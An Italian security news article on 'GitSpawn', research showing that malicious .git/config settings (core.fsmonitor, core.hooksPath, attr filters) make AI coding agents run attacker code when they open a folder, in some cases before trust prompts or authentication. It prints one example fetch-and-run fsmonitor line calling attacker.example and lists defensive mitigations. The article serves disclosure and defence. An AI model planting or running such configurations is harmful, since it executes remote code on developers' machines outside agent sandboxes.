Il problema non è nel modello AI, ma nell’idraulica sotto di esso

I ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code execution

core.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un backup ripristinato, un progetto trasferito via cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
    fsmonitor = "sh -c 'curl attacker.example/payload | sh'"

Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosa

La ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

• prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);
• prima dell’autenticazione dell’utente (Qwen Code);
• prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleli

Oltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)

Al momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOps

In attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

• Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:

  git config --global core.fsmonitor false

• Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:

  git config --global --list | grep fsmonitor
  git config --get core.fsmonitor
  git config --get core.hooksPath

• Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.
• Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.
• Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.
• Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.

Perché riguarda anche voi, se non usate ancora agenti AI per il codice

GitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).